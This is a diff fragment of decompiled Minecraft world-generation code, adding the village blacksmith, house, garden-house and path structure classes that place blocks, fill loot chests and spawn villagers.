+      func_175810_a(worldIn, p_74875_3_, p_74875_2_, 1, 1, 0, EnumFacing.getHorizontal(getMetadataWithOffset(Blocks.oak_door, 1)));
+      
+      if ((func_175807_a(worldIn, 1, 0, -1, p_74875_3_).getBlock().getMaterial() == Material.air) && (func_175807_a(worldIn, 1, -1, -1, p_74875_3_).getBlock().getMaterial() != Material.air))
+      {
+        func_175811_a(worldIn, Blocks.stone_stairs.getStateFromMeta(getMetadataWithOffset(Blocks.stone_stairs, 3)), 1, 0, -1, p_74875_3_);
+      }
+      
+      for (int var7 = 0; var7 < 6; var7++)
+      {
+        for (int var8 = 0; var8 < 9; var8++)
+        {
+          clearCurrentPositionBlocksUpwards(worldIn, var8, 9, var7, p_74875_3_);
+          func_175808_b(worldIn, Blocks.cobblestone.getDefaultState(), var8, -1, var7, p_74875_3_);
+        }
+      }
+      
+      spawnVillagers(worldIn, p_74875_3_, 2, 1, 2, 1);
+      return true;
+    }
+    
+    protected int func_180779_c(int p_180779_1_, int p_180779_2_)
+    {
+      return 1;
+    }
+  }
+  
+  public static class House2 extends StructureVillagePieces.Village
+  {
+    private static final List villageBlacksmithChestContents = com.google.common.collect.Lists.newArrayList(new WeightedRandomChestContent[] { new WeightedRandomChestContent(Items.diamond, 0, 1, 3, 3), new WeightedRandomChestContent(Items.iron_ingot, 0, 1, 5, 10), new WeightedRandomChestContent(Items.gold_ingot, 0, 1, 3, 5), new WeightedRandomChestContent(Items.bread, 0, 1, 3, 15), new WeightedRandomChestContent(Items.apple, 0, 1, 3, 15), new WeightedRandomChestContent(Items.iron_pickaxe, 0, 1, 1, 5), new WeightedRandomChestContent(Items.iron_sword, 0, 1, 1, 5), new WeightedRandomChestContent(Items.iron_chestplate, 0, 1, 1, 5), new WeightedRandomChestContent(Items.iron_helmet, 0, 1, 1, 5), new WeightedRandomChestContent(Items.iron_leggings, 0, 1, 1, 5), new WeightedRandomChestContent(Items.iron_boots, 0, 1, 1, 5), new WeightedRandomChestContent(net.minecraft.item.Item.getItemFromBlock(Blocks.obsidian), 0, 3, 7, 5), new WeightedRandomChestContent(net.minecraft.item.Item.getItemFromBlock(Blocks.sapling), 0, 3, 7, 5), new WeightedRandomChestContent(Items.saddle, 0, 1, 1, 3), new WeightedRandomChestContent(Items.iron_horse_armor, 0, 1, 1, 1), new WeightedRandomChestContent(Items.golden_horse_armor, 0, 1, 1, 1), new WeightedRandomChestContent(Items.diamond_horse_armor, 0, 1, 1, 1) });
+    private boolean hasMadeChest;
+    private static final String __OBFID = "CL_00000526";
+    
+    public House2() {}
+    
+    public House2(StructureVillagePieces.Start p_i45563_1_, int p_i45563_2_, Random p_i45563_3_, StructureBoundingBox p_i45563_4_, EnumFacing p_i45563_5_)
+    {
+      super(p_i45563_2_);
+      coordBaseMode = p_i45563_5_;
+      boundingBox = p_i45563_4_;
+    }
+    
+    public static House2 func_175855_a(StructureVillagePieces.Start p_175855_0_, List p_175855_1_, Random p_175855_2_, int p_175855_3_, int p_175855_4_, int p_175855_5_, EnumFacing p_175855_6_, int p_175855_7_)
+    {
+      StructureBoundingBox var8 = StructureBoundingBox.func_175897_a(p_175855_3_, p_175855_4_, p_175855_5_, 0, 0, 0, 10, 6, 7, p_175855_6_);
+      return (canVillageGoDeeper(var8)) && (StructureComponent.findIntersecting(p_175855_1_, var8) == null) ? new House2(p_175855_0_, p_175855_7_, p_175855_2_, var8, p_175855_6_) : null;
+    }
+    
+    protected void writeStructureToNBT(NBTTagCompound p_143012_1_)
+    {
+      super.writeStructureToNBT(p_143012_1_);
+      p_143012_1_.setBoolean("Chest", hasMadeChest);
+    }
+    
+    protected void readStructureFromNBT(NBTTagCompound p_143011_1_)
+    {
+      super.readStructureFromNBT(p_143011_1_);
+      hasMadeChest = p_143011_1_.getBoolean("Chest");
+    }
+    
+    public boolean addComponentParts(World worldIn, Random p_74875_2_, StructureBoundingBox p_74875_3_)
+    {
+      if (field_143015_k < 0)
+      {
+        field_143015_k = getAverageGroundLevel(worldIn, p_74875_3_);
+        
+        if (field_143015_k < 0)
+        {
+          return true;
+        }
+        
+        boundingBox.offset(0, field_143015_k - boundingBox.maxY + 6 - 1, 0);
+      }
+      
+      func_175804_a(worldIn, p_74875_3_, 0, 1, 0, 9, 4, 6, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 0, 0, 9, 0, 6, Blocks.cobblestone.getDefaultState(), Blocks.cobblestone.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 4, 0, 9, 4, 6, Blocks.cobblestone.getDefaultState(), Blocks.cobblestone.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 5, 0, 9, 5, 6, Blocks.stone_slab.getDefaultState(), Blocks.stone_slab.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 1, 5, 1, 8, 5, 5, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 1, 1, 0, 2, 3, 0, Blocks.planks.getDefaultState(), Blocks.planks.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 1, 0, 0, 4, 0, Blocks.log.getDefaultState(), Blocks.log.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 3, 1, 0, 3, 4, 0, Blocks.log.getDefaultState(), Blocks.log.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 1, 6, 0, 4, 6, Blocks.log.getDefaultState(), Blocks.log.getDefaultState(), false);
+      func_175811_a(worldIn, Blocks.planks.getDefaultState(), 3, 3, 1, p_74875_3_);
+      func_175804_a(worldIn, p_74875_3_, 3, 1, 2, 3, 3, 2, Blocks.planks.getDefaultState(), Blocks.planks.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 4, 1, 3, 5, 3, 3, Blocks.planks.getDefaultState(), Blocks.planks.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 1, 1, 0, 3, 5, Blocks.planks.getDefaultState(), Blocks.planks.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 1, 1, 6, 5, 3, 6, Blocks.planks.getDefaultState(), Blocks.planks.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 5, 1, 0, 5, 3, 0, Blocks.oak_fence.getDefaultState(), Blocks.oak_fence.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 9, 1, 0, 9, 3, 0, Blocks.oak_fence.getDefaultState(), Blocks.oak_fence.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 6, 1, 4, 9, 4, 6, Blocks.cobblestone.getDefaultState(), Blocks.cobblestone.getDefaultState(), false);
+      func_175811_a(worldIn, Blocks.flowing_lava.getDefaultState(), 7, 1, 5, p_74875_3_);
+      func_175811_a(worldIn, Blocks.flowing_lava.getDefaultState(), 8, 1, 5, p_74875_3_);
+      func_175811_a(worldIn, Blocks.iron_bars.getDefaultState(), 9, 2, 5, p_74875_3_);
+      func_175811_a(worldIn, Blocks.iron_bars.getDefaultState(), 9, 2, 4, p_74875_3_);
+      func_175804_a(worldIn, p_74875_3_, 7, 2, 4, 8, 2, 5, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      func_175811_a(worldIn, Blocks.cobblestone.getDefaultState(), 6, 1, 3, p_74875_3_);
+      func_175811_a(worldIn, Blocks.furnace.getDefaultState(), 6, 2, 3, p_74875_3_);
+      func_175811_a(worldIn, Blocks.furnace.getDefaultState(), 6, 3, 3, p_74875_3_);
+      func_175811_a(worldIn, Blocks.double_stone_slab.getDefaultState(), 8, 1, 1, p_74875_3_);
+      func_175811_a(worldIn, Blocks.glass_pane.getDefaultState(), 0, 2, 2, p_74875_3_);
+      func_175811_a(worldIn, Blocks.glass_pane.getDefaultState(), 0, 2, 4, p_74875_3_);
+      func_175811_a(worldIn, Blocks.glass_pane.getDefaultState(), 2, 2, 6, p_74875_3_);
+      func_175811_a(worldIn, Blocks.glass_pane.getDefaultState(), 4, 2, 6, p_74875_3_);
+      func_175811_a(worldIn, Blocks.oak_fence.getDefaultState(), 2, 1, 4, p_74875_3_);
+      func_175811_a(worldIn, Blocks.wooden_pressure_plate.getDefaultState(), 2, 2, 4, p_74875_3_);
+      func_175811_a(worldIn, Blocks.planks.getDefaultState(), 1, 1, 5, p_74875_3_);
+      func_175811_a(worldIn, Blocks.oak_stairs.getStateFromMeta(getMetadataWithOffset(Blocks.oak_stairs, 3)), 2, 1, 5, p_74875_3_);
+      func_175811_a(worldIn, Blocks.oak_stairs.getStateFromMeta(getMetadataWithOffset(Blocks.oak_stairs, 1)), 1, 1, 4, p_74875_3_);
+      
+      if ((!hasMadeChest) && (p_74875_3_.func_175898_b(new BlockPos(getXWithOffset(5, 5), getYWithOffset(1), getZWithOffset(5, 5)))))
+      {
+        hasMadeChest = true;
+        func_180778_a(worldIn, p_74875_3_, p_74875_2_, 5, 1, 5, villageBlacksmithChestContents, 3 + p_74875_2_.nextInt(6));
+      }
+      
+
+
+      for (int var4 = 6; var4 <= 8; var4++)
+      {
+        if ((func_175807_a(worldIn, var4, 0, -1, p_74875_3_).getBlock().getMaterial() == Material.air) && (func_175807_a(worldIn, var4, -1, -1, p_74875_3_).getBlock().getMaterial() != Material.air))
+        {
+          func_175811_a(worldIn, Blocks.stone_stairs.getStateFromMeta(getMetadataWithOffset(Blocks.stone_stairs, 3)), var4, 0, -1, p_74875_3_);
+        }
+      }
+      
+      for (var4 = 0; var4 < 7; var4++)
+      {
+        for (int var5 = 0; var5 < 10; var5++)
+        {
+          clearCurrentPositionBlocksUpwards(worldIn, var5, 6, var4, p_74875_3_);
+          func_175808_b(worldIn, Blocks.cobblestone.getDefaultState(), var5, -1, var4, p_74875_3_);
+        }
+      }
+      
+      spawnVillagers(worldIn, p_74875_3_, 7, 1, 1, 1);
+      return true;
+    }
+    
+    protected int func_180779_c(int p_180779_1_, int p_180779_2_)
+    {
+      return 3;
+    }
+  }
+  
+  public static class House3 extends StructureVillagePieces.Village
+  {
+    private static final String __OBFID = "CL_00000530";
+    
+    public House3() {}
+    
+    public House3(StructureVillagePieces.Start p_i45561_1_, int p_i45561_2_, Random p_i45561_3_, StructureBoundingBox p_i45561_4_, EnumFacing p_i45561_5_)
+    {
+      super(p_i45561_2_);
+      coordBaseMode = p_i45561_5_;
+      boundingBox = p_i45561_4_;
+    }
+    
+    public static House3 func_175849_a(StructureVillagePieces.Start p_175849_0_, List p_175849_1_, Random p_175849_2_, int p_175849_3_, int p_175849_4_, int p_175849_5_, EnumFacing p_175849_6_, int p_175849_7_)
+    {
+      StructureBoundingBox var8 = StructureBoundingBox.func_175897_a(p_175849_3_, p_175849_4_, p_175849_5_, 0, 0, 0, 9, 7, 12, p_175849_6_);
+      return (canVillageGoDeeper(var8)) && (StructureComponent.findIntersecting(p_175849_1_, var8) == null) ? new House3(p_175849_0_, p_175849_7_, p_175849_2_, var8, p_175849_6_) : null;
+    }
+    
+    public boolean addComponentParts(World worldIn, Random p_74875_2_, StructureBoundingBox p_74875_3_)
+    {
+      if (field_143015_k < 0)
+      {
+        field_143015_k = getAverageGroundLevel(worldIn, p_74875_3_);
+        
+        if (field_143015_k < 0)
+        {
+          return true;
+        }
+        
+        boundingBox.offset(0, field_143015_k - boundingBox.maxY + 7 - 1, 0);
+      }
+      
+      func_175804_a(worldIn, p_74875_3_, 1, 1, 1, 7, 4, 4, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 2, 1, 6, 8, 4, 10, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 2, 0, 5, 8, 0, 10, Blocks.planks.getDefaultState(), Blocks.planks.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 1, 0, 1, 7, 0, 4, Blocks.planks.getDefaultState(), Blocks.planks.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 0, 0, 0, 3, 5, Blocks.cobblestone.getDefaultState(), Blocks.cobblestone.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 8, 0, 0, 8, 3, 10, Blocks.cobblestone.getDefaultState(), Blocks.cobblestone.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 1, 0, 0, 7, 2, 0, Blocks.cobblestone.getDefaultState(), Blocks.cobblestone.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 1, 0, 5, 2, 1, 5, Blocks.cobblestone.getDefaultState(), Blocks.cobblestone.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 2, 0, 6, 2, 3, 10, Blocks.cobblestone.getDefaultState(), Blocks.cobblestone.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 3, 0, 10, 7, 3, 10, Blocks.cobblestone.getDefaultState(), Blocks.cobblestone.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 1, 2, 0, 7, 3, 0, Blocks.planks.getDefaultState(), Blocks.planks.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 1, 2, 5, 2, 3, 5, Blocks.planks.getDefaultState(), Blocks.planks.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 4, 1, 8, 4, 1, Blocks.planks.getDefaultState(), Blocks.planks.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 4, 4, 3, 4, 4, Blocks.planks.getDefaultState(), Blocks.planks.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 5, 2, 8, 5, 3, Blocks.planks.getDefaultState(), Blocks.planks.getDefaultState(), false);
+      func_175811_a(worldIn, Blocks.planks.getDefaultState(), 0, 4, 2, p_74875_3_);
+      func_175811_a(worldIn, Blocks.planks.getDefaultState(), 0, 4, 3, p_74875_3_);
+      func_175811_a(worldIn, Blocks.planks.getDefaultState(), 8, 4, 2, p_74875_3_);
+      func_175811_a(worldIn, Blocks.planks.getDefaultState(), 8, 4, 3, p_74875_3_);
+      func_175811_a(worldIn, Blocks.planks.getDefaultState(), 8, 4, 4, p_74875_3_);
+      int var4 = getMetadataWithOffset(Blocks.oak_stairs, 3);
+      int var5 = getMetadataWithOffset(Blocks.oak_stairs, 2);
+      
+
+
+      for (int var6 = -1; var6 <= 2; var6++)
+      {
+        for (int var7 = 0; var7 <= 8; var7++)
+        {
+          func_175811_a(worldIn, Blocks.oak_stairs.getStateFromMeta(var4), var7, 4 + var6, var6, p_74875_3_);
+          
+          if (((var6 > -1) || (var7 <= 1)) && ((var6 > 0) || (var7 <= 3)) && ((var6 > 1) || (var7 <= 4) || (var7 >= 6)))
+          {
+            func_175811_a(worldIn, Blocks.oak_stairs.getStateFromMeta(var5), var7, 4 + var6, 5 - var6, p_74875_3_);
+          }
+        }
+      }
+      
+      func_175804_a(worldIn, p_74875_3_, 3, 4, 5, 3, 4, 10, Blocks.planks.getDefaultState(), Blocks.planks.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 7, 4, 2, 7, 4, 10, Blocks.planks.getDefaultState(), Blocks.planks.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 4, 5, 4, 4, 5, 10, Blocks.planks.getDefaultState(), Blocks.planks.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 6, 5, 4, 6, 5, 10, Blocks.planks.getDefaultState(), Blocks.planks.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 5, 6, 3, 5, 6, 10, Blocks.planks.getDefaultState(), Blocks.planks.getDefaultState(), false);
+      var6 = getMetadataWithOffset(Blocks.oak_stairs, 0);
+      
+
+      for (int var7 = 4; var7 >= 1; var7--)
+      {
+        func_175811_a(worldIn, Blocks.planks.getDefaultState(), var7, 2 + var7, 7 - var7, p_74875_3_);
+        
+        for (int var8 = 8 - var7; var8 <= 10; var8++)
+        {
+          func_175811_a(worldIn, Blocks.oak_stairs.getStateFromMeta(var6), var7, 2 + var7, var8, p_74875_3_);
+        }
+      }
+      
+      var7 = getMetadataWithOffset(Blocks.oak_stairs, 1);
+      func_175811_a(worldIn, Blocks.planks.getDefaultState(), 6, 6, 3, p_74875_3_);
+      func_175811_a(worldIn, Blocks.planks.getDefaultState(), 7, 5, 4, p_74875_3_);
+      func_175811_a(worldIn, Blocks.oak_stairs.getStateFromMeta(var7), 6, 6, 4, p_74875_3_);
+      
+
+      for (int var8 = 6; var8 <= 8; var8++)
+      {
+        for (int var9 = 5; var9 <= 10; var9++)
+        {
+          func_175811_a(worldIn, Blocks.oak_stairs.getStateFromMeta(var7), var8, 12 - var8, var9, p_74875_3_);
+        }
+      }
+      
+      func_175811_a(worldIn, Blocks.log.getDefaultState(), 0, 2, 1, p_74875_3_);
+      func_175811_a(worldIn, Blocks.log.getDefaultState(), 0, 2, 4, p_74875_3_);
+      func_175811_a(worldIn, Blocks.glass_pane.getDefaultState(), 0, 2, 2, p_74875_3_);
+      func_175811_a(worldIn, Blocks.glass_pane.getDefaultState(), 0, 2, 3, p_74875_3_);
+      func_175811_a(worldIn, Blocks.log.getDefaultState(), 4, 2, 0, p_74875_3_);
+      func_175811_a(worldIn, Blocks.glass_pane.getDefaultState(), 5, 2, 0, p_74875_3_);
+      func_175811_a(worldIn, Blocks.log.getDefaultState(), 6, 2, 0, p_74875_3_);
+      func_175811_a(worldIn, Blocks.log.getDefaultState(), 8, 2, 1, p_74875_3_);
+      func_175811_a(worldIn, Blocks.glass_pane.getDefaultState(), 8, 2, 2, p_74875_3_);
+      func_175811_a(worldIn, Blocks.glass_pane.getDefaultState(), 8, 2, 3, p_74875_3_);
+      func_175811_a(worldIn, Blocks.log.getDefaultState(), 8, 2, 4, p_74875_3_);
+      func_175811_a(worldIn, Blocks.planks.getDefaultState(), 8, 2, 5, p_74875_3_);
+      func_175811_a(worldIn, Blocks.log.getDefaultState(), 8, 2, 6, p_74875_3_);
+      func_175811_a(worldIn, Blocks.glass_pane.getDefaultState(), 8, 2, 7, p_74875_3_);
+      func_175811_a(worldIn, Blocks.glass_pane.getDefaultState(), 8, 2, 8, p_74875_3_);
+      func_175811_a(worldIn, Blocks.log.getDefaultState(), 8, 2, 9, p_74875_3_);
+      func_175811_a(worldIn, Blocks.log.getDefaultState(), 2, 2, 6, p_74875_3_);
+      func_175811_a(worldIn, Blocks.glass_pane.getDefaultState(), 2, 2, 7, p_74875_3_);
+      func_175811_a(worldIn, Blocks.glass_pane.getDefaultState(), 2, 2, 8, p_74875_3_);
+      func_175811_a(worldIn, Blocks.log.getDefaultState(), 2, 2, 9, p_74875_3_);
+      func_175811_a(worldIn, Blocks.log.getDefaultState(), 4, 4, 10, p_74875_3_);
+      func_175811_a(worldIn, Blocks.glass_pane.getDefaultState(), 5, 4, 10, p_74875_3_);
+      func_175811_a(worldIn, Blocks.log.getDefaultState(), 6, 4, 10, p_74875_3_);
+      func_175811_a(worldIn, Blocks.planks.getDefaultState(), 5, 5, 10, p_74875_3_);
+      func_175811_a(worldIn, Blocks.air.getDefaultState(), 2, 1, 0, p_74875_3_);
+      func_175811_a(worldIn, Blocks.air.getDefaultState(), 2, 2, 0, p_74875_3_);
+      func_175811_a(worldIn, Blocks.torch.getDefaultState().withProperty(BlockTorch.FACING_PROP, coordBaseMode), 2, 3, 1, p_74875_3_);
+      func_175810_a(worldIn, p_74875_3_, p_74875_2_, 2, 1, 0, EnumFacing.getHorizontal(getMetadataWithOffset(Blocks.oak_door, 1)));
+      func_175804_a(worldIn, p_74875_3_, 1, 0, -1, 3, 2, -1, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      
+      if ((func_175807_a(worldIn, 2, 0, -1, p_74875_3_).getBlock().getMaterial() == Material.air) && (func_175807_a(worldIn, 2, -1, -1, p_74875_3_).getBlock().getMaterial() != Material.air))
+      {
+        func_175811_a(worldIn, Blocks.stone_stairs.getStateFromMeta(getMetadataWithOffset(Blocks.stone_stairs, 3)), 2, 0, -1, p_74875_3_);
+      }
+      
+      for (var8 = 0; var8 < 5; var8++)
+      {
+        for (int var9 = 0; var9 < 9; var9++)
+        {
+          clearCurrentPositionBlocksUpwards(worldIn, var9, 7, var8, p_74875_3_);
+          func_175808_b(worldIn, Blocks.cobblestone.getDefaultState(), var9, -1, var8, p_74875_3_);
+        }
+      }
+      
+      for (var8 = 5; var8 < 11; var8++)
+      {
+        for (int var9 = 2; var9 < 9; var9++)
+        {
+          clearCurrentPositionBlocksUpwards(worldIn, var9, 7, var8, p_74875_3_);
+          func_175808_b(worldIn, Blocks.cobblestone.getDefaultState(), var9, -1, var8, p_74875_3_);
+        }
+      }
+      
+      spawnVillagers(worldIn, p_74875_3_, 4, 1, 2, 2);
+      return true;
+    }
+  }
+  
+  public static class House4Garden extends StructureVillagePieces.Village
+  {
+    private boolean isRoofAccessible;
+    private static final String __OBFID = "CL_00000523";
+    
+    public House4Garden() {}
+    
+    public House4Garden(StructureVillagePieces.Start p_i45566_1_, int p_i45566_2_, Random p_i45566_3_, StructureBoundingBox p_i45566_4_, EnumFacing p_i45566_5_)
+    {
+      super(p_i45566_2_);
+      coordBaseMode = p_i45566_5_;
+      boundingBox = p_i45566_4_;
+      isRoofAccessible = p_i45566_3_.nextBoolean();
+    }
+    
+    protected void writeStructureToNBT(NBTTagCompound p_143012_1_)
+    {
+      super.writeStructureToNBT(p_143012_1_);
+      p_143012_1_.setBoolean("Terrace", isRoofAccessible);
+    }
+    
+    protected void readStructureFromNBT(NBTTagCompound p_143011_1_)
+    {
+      super.readStructureFromNBT(p_143011_1_);
+      isRoofAccessible = p_143011_1_.getBoolean("Terrace");
+    }
+    
+    public static House4Garden func_175858_a(StructureVillagePieces.Start p_175858_0_, List p_175858_1_, Random p_175858_2_, int p_175858_3_, int p_175858_4_, int p_175858_5_, EnumFacing p_175858_6_, int p_175858_7_)
+    {
+      StructureBoundingBox var8 = StructureBoundingBox.func_175897_a(p_175858_3_, p_175858_4_, p_175858_5_, 0, 0, 0, 5, 6, 5, p_175858_6_);
+      return StructureComponent.findIntersecting(p_175858_1_, var8) != null ? null : new House4Garden(p_175858_0_, p_175858_7_, p_175858_2_, var8, p_175858_6_);
+    }
+    
+    public boolean addComponentParts(World worldIn, Random p_74875_2_, StructureBoundingBox p_74875_3_)
+    {
+      if (field_143015_k < 0)
+      {
+        field_143015_k = getAverageGroundLevel(worldIn, p_74875_3_);
+        
+        if (field_143015_k < 0)
+        {
+          return true;
+        }
+        
+        boundingBox.offset(0, field_143015_k - boundingBox.maxY + 6 - 1, 0);
+      }
+      
+      func_175804_a(worldIn, p_74875_3_, 0, 0, 0, 4, 0, 4, Blocks.cobblestone.getDefaultState(), Blocks.cobblestone.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 4, 0, 4, 4, 4, Blocks.log.getDefaultState(), Blocks.log.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 1, 4, 1, 3, 4, 3, Blocks.planks.getDefaultState(), Blocks.planks.getDefaultState(), false);
+      func_175811_a(worldIn, Blocks.cobblestone.getDefaultState(), 0, 1, 0, p_74875_3_);
+      func_175811_a(worldIn, Blocks.cobblestone.getDefaultState(), 0, 2, 0, p_74875_3_);
+      func_175811_a(worldIn, Blocks.cobblestone.getDefaultState(), 0, 3, 0, p_74875_3_);
+      func_175811_a(worldIn, Blocks.cobblestone.getDefaultState(), 4, 1, 0, p_74875_3_);
+      func_175811_a(worldIn, Blocks.cobblestone.getDefaultState(), 4, 2, 0, p_74875_3_);
+      func_175811_a(worldIn, Blocks.cobblestone.getDefaultState(), 4, 3, 0, p_74875_3_);
+      func_175811_a(worldIn, Blocks.cobblestone.getDefaultState(), 0, 1, 4, p_74875_3_);
+      func_175811_a(worldIn, Blocks.cobblestone.getDefaultState(), 0, 2, 4, p_74875_3_);
+      func_175811_a(worldIn, Blocks.cobblestone.getDefaultState(), 0, 3, 4, p_74875_3_);
+      func_175811_a(worldIn, Blocks.cobblestone.getDefaultState(), 4, 1, 4, p_74875_3_);
+      func_175811_a(worldIn, Blocks.cobblestone.getDefaultState(), 4, 2, 4, p_74875_3_);
+      func_175811_a(worldIn, Blocks.cobblestone.getDefaultState(), 4, 3, 4, p_74875_3_);
+      func_175804_a(worldIn, p_74875_3_, 0, 1, 1, 0, 3, 3, Blocks.planks.getDefaultState(), Blocks.planks.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 4, 1, 1, 4, 3, 3, Blocks.planks.getDefaultState(), Blocks.planks.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 1, 1, 4, 3, 3, 4, Blocks.planks.getDefaultState(), Blocks.planks.getDefaultState(), false);
+      func_175811_a(worldIn, Blocks.glass_pane.getDefaultState(), 0, 2, 2, p_74875_3_);
+      func_175811_a(worldIn, Blocks.glass_pane.getDefaultState(), 2, 2, 4, p_74875_3_);
+      func_175811_a(worldIn, Blocks.glass_pane.getDefaultState(), 4, 2, 2, p_74875_3_);
+      func_175811_a(worldIn, Blocks.planks.getDefaultState(), 1, 1, 0, p_74875_3_);
+      func_175811_a(worldIn, Blocks.planks.getDefaultState(), 1, 2, 0, p_74875_3_);
+      func_175811_a(worldIn, Blocks.planks.getDefaultState(), 1, 3, 0, p_74875_3_);
+      func_175811_a(worldIn, Blocks.planks.getDefaultState(), 2, 3, 0, p_74875_3_);
+      func_175811_a(worldIn, Blocks.planks.getDefaultState(), 3, 3, 0, p_74875_3_);
+      func_175811_a(worldIn, Blocks.planks.getDefaultState(), 3, 2, 0, p_74875_3_);
+      func_175811_a(worldIn, Blocks.planks.getDefaultState(), 3, 1, 0, p_74875_3_);
+      
+      if ((func_175807_a(worldIn, 2, 0, -1, p_74875_3_).getBlock().getMaterial() == Material.air) && (func_175807_a(worldIn, 2, -1, -1, p_74875_3_).getBlock().getMaterial() != Material.air))
+      {
+        func_175811_a(worldIn, Blocks.stone_stairs.getStateFromMeta(getMetadataWithOffset(Blocks.stone_stairs, 3)), 2, 0, -1, p_74875_3_);
+      }
+      
+      func_175804_a(worldIn, p_74875_3_, 1, 1, 1, 3, 3, 3, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      
+      if (isRoofAccessible)
+      {
+        func_175811_a(worldIn, Blocks.oak_fence.getDefaultState(), 0, 5, 0, p_74875_3_);
+        func_175811_a(worldIn, Blocks.oak_fence.getDefaultState(), 1, 5, 0, p_74875_3_);
+        func_175811_a(worldIn, Blocks.oak_fence.getDefaultState(), 2, 5, 0, p_74875_3_);
+        func_175811_a(worldIn, Blocks.oak_fence.getDefaultState(), 3, 5, 0, p_74875_3_);
+        func_175811_a(worldIn, Blocks.oak_fence.getDefaultState(), 4, 5, 0, p_74875_3_);
+        func_175811_a(worldIn, Blocks.oak_fence.getDefaultState(), 0, 5, 4, p_74875_3_);
+        func_175811_a(worldIn, Blocks.oak_fence.getDefaultState(), 1, 5, 4, p_74875_3_);
+        func_175811_a(worldIn, Blocks.oak_fence.getDefaultState(), 2, 5, 4, p_74875_3_);
+        func_175811_a(worldIn, Blocks.oak_fence.getDefaultState(), 3, 5, 4, p_74875_3_);
+        func_175811_a(worldIn, Blocks.oak_fence.getDefaultState(), 4, 5, 4, p_74875_3_);
+        func_175811_a(worldIn, Blocks.oak_fence.getDefaultState(), 4, 5, 1, p_74875_3_);
+        func_175811_a(worldIn, Blocks.oak_fence.getDefaultState(), 4, 5, 2, p_74875_3_);
+        func_175811_a(worldIn, Blocks.oak_fence.getDefaultState(), 4, 5, 3, p_74875_3_);
+        func_175811_a(worldIn, Blocks.oak_fence.getDefaultState(), 0, 5, 1, p_74875_3_);
+        func_175811_a(worldIn, Blocks.oak_fence.getDefaultState(), 0, 5, 2, p_74875_3_);
+        func_175811_a(worldIn, Blocks.oak_fence.getDefaultState(), 0, 5, 3, p_74875_3_);
+      }
+      
+
+
+      if (isRoofAccessible)
+      {
+        int var4 = getMetadataWithOffset(Blocks.ladder, 3);
+        func_175811_a(worldIn, Blocks.ladder.getStateFromMeta(var4), 3, 1, 3, p_74875_3_);
+        func_175811_a(worldIn, Blocks.ladder.getStateFromMeta(var4), 3, 2, 3, p_74875_3_);
+        func_175811_a(worldIn, Blocks.ladder.getStateFromMeta(var4), 3, 3, 3, p_74875_3_);
+        func_175811_a(worldIn, Blocks.ladder.getStateFromMeta(var4), 3, 4, 3, p_74875_3_);
+      }
+      
+      func_175811_a(worldIn, Blocks.torch.getDefaultState().withProperty(BlockTorch.FACING_PROP, coordBaseMode), 2, 3, 1, p_74875_3_);
+      
+      for (int var4 = 0; var4 < 5; var4++)
+      {
+        for (int var5 = 0; var5 < 5; var5++)
+        {
+          clearCurrentPositionBlocksUpwards(worldIn, var5, 6, var4, p_74875_3_);
+          func_175808_b(worldIn, Blocks.cobblestone.getDefaultState(), var5, -1, var4, p_74875_3_);
+        }
+      }
+      
+      spawnVillagers(worldIn, p_74875_3_, 1, 1, 2, 1);
+      return true;
+    }
+  }
+  
+  public static class Path extends StructureVillagePieces.Road
+  {
+    private int averageGroundLevel;
+    private static final String __OBFID = "CL_00000528";
+    
+    public Path() {}
+    
+    public Path(StructureVillagePieces.Start p_i45562_1_, int p_i45562_2_, Random p_i45562_3_, StructureBoundingBox p_i45562_4_, EnumFacing p_i45562_5_)
+    {
+      super(p_i45562_2_);
+      coordBaseMode = p_i45562_5_;
+      boundingBox = p_i45562_4_;
+      averageGroundLevel = Math.max(p_i45562_4_.getXSize(), p_i45562_4_.getZSize());
+    }
+    
+    protected void writeStructureToNBT(NBTTagCompound p_143012_1_)
+    {
+      super.writeStructureToNBT(p_143012_1_);
+      p_143012_1_.setInteger("Length", averageGroundLevel);
+    }
+    
